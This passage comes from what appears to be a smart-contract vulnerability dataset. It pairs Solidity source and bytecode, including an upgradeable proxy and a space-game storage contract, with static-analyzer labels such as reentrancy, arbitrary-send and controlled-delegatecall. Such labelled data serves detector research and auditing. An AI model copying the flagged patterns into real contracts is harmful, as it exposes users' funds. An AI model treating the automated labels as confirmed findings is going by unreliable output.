46009546115fd565b92509250925060006114be6112e6565b905060008060006114d18e87878761164c565b919e509c509a509598509396509194505050505091939550919395565b600061106983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f2d565b60008061153d83856119d4565b9050838110156110695760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103ec565b60006115996112e6565b905060006115a78383611070565b306000908152600260205260409020549091506115c49082611530565b30600090815260026020526040902055505050565b6006546115e690836114ee565b6006556007546115f69082611530565b6007555050565b6000808080611611606461051b8989611070565b90506000611624606461051b8a89611070565b9050600061163c826116368b866114ee565b906114ee565b9992985090965090945050505050565b600080808061165b8886611070565b905060006116698887611070565b905060006116778888611070565b905060006116898261163686866114ee565b939b939a50919850919650505050505050565b80356116a781611aa1565b919050565b6000602082840312156116be57600080fd5b813561106981611aa1565b6000602082840312156116db57600080fd5b815161106981611aa1565b600080604083850312156116f957600080fd5b823561170481611aa1565b9150602083013561171481611aa1565b809150509250929050565b60008060006060848603121561173457600080fd5b833561173f81611aa1565b9250602084013561174f81611aa1565b929592945050506040919091013590565b6000806040838503121561177357600080fd5b823561177e81611aa1565b946020939093013593505050565b6000602080838503121561179f57600080fd5b823567ffffffffffffffff808211156117b757600080fd5b818501915085601f8301126117cb57600080fd5b8135818111156117dd576117dd611a8b565b8060051b604051601f19603f8301168101818110858211171561180257611802611a8b565b604052828152858101935084860182860187018a101561182157600080fd5b600095505b8386101561184b576118378161169c565b855260019590950194938601938601611826565b5098975050505050505050565b60006020828403121561186a57600080fd5b813561106981611ab6565b60006020828403121561188757600080fd5b815161106981611ab6565b6000602082840312156118a457600080fd5b5035919050565b6000806000606084860312156118c057600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611906578581018301518582016040015282016118ea565b81811115611918576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119b35784516001600160a01b03168352938301939183019160010161198e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119e7576119e7611a5f565b500190565b600082611a0957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a2857611a28611a5f565b500290565b600082821015611a3f57611a3f611a5f565b500390565b6000600019821415611a5857611a58611a5f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461043d57600080fd5b801515811461043d57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220754e2ef76485d912c357bae53321fcc3905c8df68b198f67b8a4997df5a57f5b64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 816 |
0xa64cf4fc6003f34de14e19abdde85830a3266ee6 | // SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() virtual internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() virtual internal;
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
if(OpenZeppelinUpgradesAddress.isContract(msg.sender) && msg.data.length == 0 && gasleft() <= 2300) // for receive ETH only from other contract
return;
_willFallback();
_delegate(_implementation());
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
abstract contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() override internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() virtual override internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
//super._willFallback();
}
}
interface IAdminUpgradeabilityProxyView {
function admin() external view returns (address);
function implementation() external view returns (address);
}
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
abstract contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
//function _willFallback() virtual override internal {
//super._willFallback();
//}
}
/**
* @title AdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for
* initializing the implementation, admin, and init data.
*/
contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _admin, address _logic, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
function _willFallback() override(Proxy, BaseAdminUpgradeabilityProxy) internal {
super._willFallback();
}
}
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
abstract contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
/**
* Contract initializer.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _admin, address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
}
/**
* Utility library of inline functions on addresses
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version.
*/
library OpenZeppelinUpgradesAddress {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
} | 0x6080604052600436106100745760003560e01c80638f2839701161004e5780638f283970146101ce578063cf7a1d771461021f578063d1f578941461031a578063f851a440146103f557610083565b80633659cfe61461008d5780634f1ef286146100de5780635c60da1b1461017757610083565b366100835761008161044c565b005b61008b61044c565b005b34801561009957600080fd5b506100dc600480360360208110156100b057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610497565b005b610175600480360360408110156100f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561013157600080fd5b82018360208201111561014357600080fd5b8035906020019184600183028401116401000000008311171561016557600080fd5b90919293919293905050506104ec565b005b34801561018357600080fd5b5061018c6105c2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101da57600080fd5b5061021d600480360360208110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061061a565b005b6103186004803603606081101561023557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561029257600080fd5b8201836020820111156102a457600080fd5b803590602001918460018302840111640100000000831117156102c657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610793565b005b6103f36004803603604081101561033057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561036d57600080fd5b82018360208201111561037f57600080fd5b803590602001918460018302840111640100000000831117156103a157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610855565b005b34801561040157600080fd5b5061040a6109d8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61045533610a30565b80156104645750600080369050145b801561047257506108fc5a11155b1561047c57610495565b610484610a43565b61049461048f610ad1565b610b02565b5b565b61049f610b28565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156104e0576104db81610b59565b6104e9565b6104e861044c565b5b50565b6104f4610b28565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156105b45761053083610b59565b60008373ffffffffffffffffffffffffffffffffffffffff168383604051808383808284378083019250505092505050600060405180830381855af49150503d806000811461059b576040519150601f19603f3d011682016040523d82523d6000602084013e6105a0565b606091505b50509050806105ae57600080fd5b506105bd565b6105bc61044c565b5b505050565b60006105cc610b28565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561060e57610607610ad1565b9050610617565b61061661044c565b5b90565b610622610b28565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561078757600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156106db576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180610c976036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f610704610b28565b82604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a161078281610ba8565b610790565b61078f61044c565b5b50565b600073ffffffffffffffffffffffffffffffffffffffff166107b3610ad1565b73ffffffffffffffffffffffffffffffffffffffff16146107d357600080fd5b6107dd8282610855565b600160405180807f656970313936372e70726f78792e61646d696e000000000000000000000000008152506013019050604051809103902060001c0360001b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360001b1461084757fe5b61085083610ba8565b505050565b600073ffffffffffffffffffffffffffffffffffffffff16610875610ad1565b73ffffffffffffffffffffffffffffffffffffffff161461089557600080fd5b600160405180807f656970313936372e70726f78792e696d706c656d656e746174696f6e00000000815250601c019050604051809103902060001c0360001b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b146108ff57fe5b61090882610bd7565b6000815111156109d45760008273ffffffffffffffffffffffffffffffffffffffff16826040518082805190602001908083835b6020831061095f578051825260208201915060208101905060208303925061093c565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d80600081146109bf576040519150601f19603f3d011682016040523d82523d6000602084013e6109c4565b606091505b50509050806109d257600080fd5b505b5050565b60006109e2610b28565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610a2457610a1d610b28565b9050610a2d565b610a2c61044c565b5b90565b600080823b905060008111915050919050565b610a4b610b28565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180610c656032913960400191505060405180910390fd5b565b6000807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b9050805491505090565b3660008037600080366000845af43d6000803e8060008114610b23573d6000f35b3d6000fd5b6000807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360001b9050805491505090565b610b6281610bd7565b8073ffffffffffffffffffffffffffffffffffffffff167fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b60405160405180910390a250565b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360001b90508181555050565b610be081610a30565b610c35576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b815260200180610ccd603b913960400191505060405180910390fd5b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b9050818155505056fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220cd70b09efe0260bd90ebb98b3afdd6075a42e72946d3955e11aabb74ae63d53864736f6c63430006010033 | {"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}} | 817 |
0xfdc3eced80556a6d1352185e339f20ff501fbbeb | pragma solidity 0.4.24;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ItemsInterfaceForEternalStorage {
function createShip(uint256 _itemId) public;
function createRadar(uint256 _itemId) public;
function createScanner(uint256 _itemId) public;
function createDroid(uint256 _itemId) public;
function createFuel(uint256 _itemId) public;
function createGenerator(uint256 _itemId) public;
function createEngine(uint256 _itemId) public;
function createGun(uint256 _itemId) public;
function createMicroModule(uint256 _itemId) public;
function createArtefact(uint256 _itemId) public;
function addItem(string _itemType) public returns(uint256);
}
contract EternalStorage {
ItemsInterfaceForEternalStorage private mI;
/* ------ STORAGE ------ */
mapping(bytes32 => uint256) private uintStorage;
mapping(bytes32 => uint256[]) private uintArrayStorage;
mapping(bytes32 => string) private stringStorage;
mapping(bytes32 => address) private addressStorage;
mapping(bytes32 => bytes) private bytesStorage;
mapping(bytes32 => bool) private boolStorage;
mapping(bytes32 => int256) private intStorage;
address private ownerOfStorage;
address private logicContractAddress;
mapping(address => uint256) private refunds;
constructor() public {
ownerOfStorage = msg.sender;
mI = ItemsInterfaceForEternalStorage(0x600c9892B294ef4cB7D22c1f6045C972C0a086e5);
}
/* ------ MODIFIERS ------ */
modifier onlyOwnerOfStorage() {
require(msg.sender == ownerOfStorage);
_;
}
modifier onlyLogicContract() {
require(msg.sender == logicContractAddress);
_;
}
/* ------ INITIALISATION ------ */
function initWithShips() public onlyOwnerOfStorage {
createShip(1, 'Titanium Ranger Hull', 200, 2, 0.000018 ether);
createShip(2, 'Platinum Ranger Hull', 400, 4, 0.45 ether);
createShip(3, 'Adamantium Ranger Hull', 600, 7, 0.9 ether);
}
/* ------ REFERAL SYSTEM FUNCTIONS ------ */
function addReferrer(address _referrerWalletAddress, uint256 referrerPrize) public onlyLogicContract {
refunds[_referrerWalletAddress] += referrerPrize;
}
function widthdrawRefunds(address _owner) public onlyLogicContract returns(uint256) {
uint256 refund = refunds[_owner];
refunds[_owner] = 0;
return refund;
}
function checkRefundExistanceByOwner(address _owner) public view onlyLogicContract returns(uint256) {
return refunds[_owner];
}
/* ------ BUY OPERATIONS ------ */
function buyItem(uint256 _itemId, address _newOwner, string _itemTitle, string _itemTypeTitle, string _itemIdTitle) public onlyLogicContract returns(uint256) {
uintStorage[_b2(_itemTitle, _newOwner)]++;
uintArrayStorage[_b2(_itemTypeTitle, _newOwner)].push(_itemId);
uint256 newItemId = mI.addItem(_itemTitle);
uintArrayStorage[_b2(_itemIdTitle, _newOwner)].push(newItemId);
addressStorage[_b3(_itemTitle, newItemId)] = _newOwner;
return _itemId;
}
function destroyEternalStorage() public onlyOwnerOfStorage {
selfdestruct(0xd135377eB20666725D518c967F23e168045Ee11F);
}
/* ------ HASH FUNCTIONS ------ */
function _toString(address x) private pure returns (string) {
bytes32 value = bytes32(uint256(x));
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(51);
str[0] = '0';
str[1] = 'x';
for (uint i = 0; i < 20; i++) {
str[2+i*2] = alphabet[uint(value[i + 12] >> 4)];
str[3+i*2] = alphabet[uint(value[i + 12] & 0x0f)];
}
return string(str);
}
function _b1(string _itemType, uint256 _itemId, string _property) private pure returns(bytes32) {
return keccak256(abi.encodePacked(_itemType, _itemId, _property));
}
function _b2(string _itemType, address _newOwnerAddress) private pure returns(bytes32) {
return keccak256(abi.encodePacked(_toString(_newOwnerAddress), _itemType));
}
function _b3(string _itemType, uint256 _itemId) private pure returns(bytes32) {
return keccak256(abi.encodePacked(_itemType, _itemId));
}
/* ------ READING METHODS FOR USERS ITEMS ------ */
function getNumberOfItemsByTypeAndOwner(string _itemType, address _owner) public onlyLogicContract view returns(uint256) {
return uintStorage[_b2(_itemType, _owner)];
}
function getItemsByTypeAndOwner(string _itemTypeTitle, address _owner) public onlyLogicContract view returns(uint256[]) {
return uintArrayStorage[_b2(_itemTypeTitle, _owner)];
}
function getItemsIdsByTypeAndOwner(string _itemIdsTitle, address _owner) public onlyLogicContract view returns(uint256[]) {
return uintArrayStorage[_b2(_itemIdsTitle, _owner)];
}
function getOwnerByItemTypeAndId(string _itemType, uint256 _itemId) public onlyLogicContract view returns(address) {
return addressStorage[_b3(_itemType, _itemId)];
}
/* ------ READING METHODS FOR ALL ITEMS ------ */
function getItemPriceById(string _itemType, uint256 _itemId) public onlyLogicContract view returns(uint256) {
return uintStorage[_b1(_itemType, _itemId, "price")];
}
// Get Radar, Scanner, Droid, Fuel, Generator by ID
function getTypicalItemById(string _itemType, uint256 _itemId) public onlyLogicContract view returns(
uint256,
string,
uint256,
uint256,
uint256
) {
return (
_itemId,
stringStorage[_b1(_itemType, _itemId, "name")],
uintStorage[_b1(_itemType, _itemId, "value")],
uintStorage[_b1(_itemType, _itemId, "price")],
uintStorage[_b1(_itemType, _itemId, "durability")]
);
}
function getShipById(uint256 _shipId) public onlyLogicContract view returns(
uint256,
string,
uint256,
uint256,
uint256
) {
return (
_shipId,
stringStorage[_b1("ships", _shipId, "name")],
uintStorage[_b1("ships", _shipId, "hp")],
uintStorage[_b1("ships", _shipId, "block")],
uintStorage[_b1("ships", _shipId, "price")]
);
}
function getEngineById(uint256 _engineId) public onlyLogicContract view returns(
uint256,
string,
uint256,
uint256,
uint256,
uint256
) {
return (
_engineId,
stringStorage[_b1("engines", _engineId, "name")],
uintStorage[_b1("engines", _engineId, "speed")],
uintStorage[_b1("engines", _engineId, "giper")],
uintStorage[_b1("engines", _engineId, "price")],
uintStorage[_b1("engines", _engineId, "durability")]
);
}
function getGunByIdPart1(uint256 _gunId) public onlyLogicContract view returns(
uint256,
string,
uint256,
uint256
) {
return (
_gunId,
stringStorage[_b1("guns", _gunId, "name")],
uintStorage[_b1("guns", _gunId, "min")],
uintStorage[_b1("guns", _gunId, "max")]
);
}
function getGunByIdPart2(uint256 _gunId) public onlyLogicContract view returns(
uint256,
uint256,
uint256,
uint256,
uint256
) {
return (
uintStorage[_b1("guns", _gunId, "radius")],
uintStorage[_b1("guns", _gunId, "recharge")],
uintStorage[_b1("guns", _gunId, "ability")],
uintStorage[_b1("guns", _gunId, "price")],
uintStorage[_b1("guns", _gunId, "durability")]
);
}
function getMicroModuleByIdPart1(uint256 _microModuleId) public onlyLogicContract view returns(
uint256,
string,
uint256,
uint256
) {
return (
_microModuleId,
stringStorage[_b1("microModules", _microModuleId, "name")],
uintStorage[_b1("microModules", _microModuleId, "itemType")],
uintStorage[_b1("microModules", _microModuleId, "bonusType")]
);
}
function getMicroModuleByIdPart2(uint256 _microModuleId) public onlyLogicContract view returns(
uint256,
uint256,
uint256
) {
return (
uintStorage[_b1("microModules", _microModuleId, "bonus")],
uintStorage[_b1("microModules", _microModuleId, "level")],
uintStorage[_b1("microModules", _microModuleId, "price")]
);
}
function getArtefactById(uint256 _artefactId) public onlyLogicContract view returns(
uint256,
string,
uint256,
uint256,
uint256
) {
return (
_artefactId,
stringStorage[_b1("artefacts", _artefactId, "name")],
uintStorage[_b1("artefacts", _artefactId, "itemType")],
uintStorage[_b1("artefacts", _artefactId, "bonusType")],
uintStorage[_b1("artefacts", _artefactId, "bonus")]
);
}
/* ------ DEV CREATION METHODS ------ */
// Ships
function createShip(uint256 _shipId, string _name, uint256 _hp, uint256 _block, uint256 _price) public onlyOwnerOfStorage {
mI.createShip(_shipId);
stringStorage[_b1("ships", _shipId, "name")] = _name;
uintStorage[_b1("ships", _shipId, "hp")] = _hp;
uintStorage[_b1("ships", _shipId, "block")] = _block;
uintStorage[_b1("ships", _shipId, "price")] = _price;
}
// update data for an item by ID
function _update(string _itemType, uint256 _itemId, string _name, uint256 _value, uint256 _price, uint256 _durability) private {
stringStorage[_b1(_itemType, _itemId, "name")] = _name;
uintStorage[_b1(_itemType, _itemId, "value")] = _value;
uintStorage[_b1(_itemType, _itemId, "price")] = _price;
uintStorage[_b1(_itemType, _itemId, "durability")] = _durability;
}
// Radars
function createRadar(uint256 _radarId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createRadar(_radarId);
_update("radars", _radarId, _name, _value, _price, _durability);
}
// Scanners
function createScanner(uint256 _scannerId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createScanner(_scannerId);
_update("scanners", _scannerId, _name, _value, _price, _durability);
}
// Droids
function createDroid(uint256 _droidId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createDroid(_droidId);
_update("droids", _droidId, _name, _value, _price, _durability);
}
// Fuels
function createFuel(uint256 _fuelId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createFuel(_fuelId);
_update("fuels", _fuelId, _name, _value, _price, _durability);
}
// Generators
function createGenerator(uint256 _generatorId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createGenerator(_generatorId);
_update("generators", _generatorId, _name, _value, _price, _durability);
}
// Engines
function createEngine(uint256 _engineId, string _name, uint256 _speed, uint256 _giper, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createEngine(_engineId);
stringStorage[_b1("engines", _engineId, "name")] = _name;
uintStorage[_b1("engines", _engineId, "speed")] = _speed;
uintStorage[_b1("engines", _engineId, "giper")] = _giper;
uintStorage[_b1("engines", _engineId, "price")] = _price;
uintStorage[_b1("engines", _engineId, "durability")] = _durability;
}
// Guns
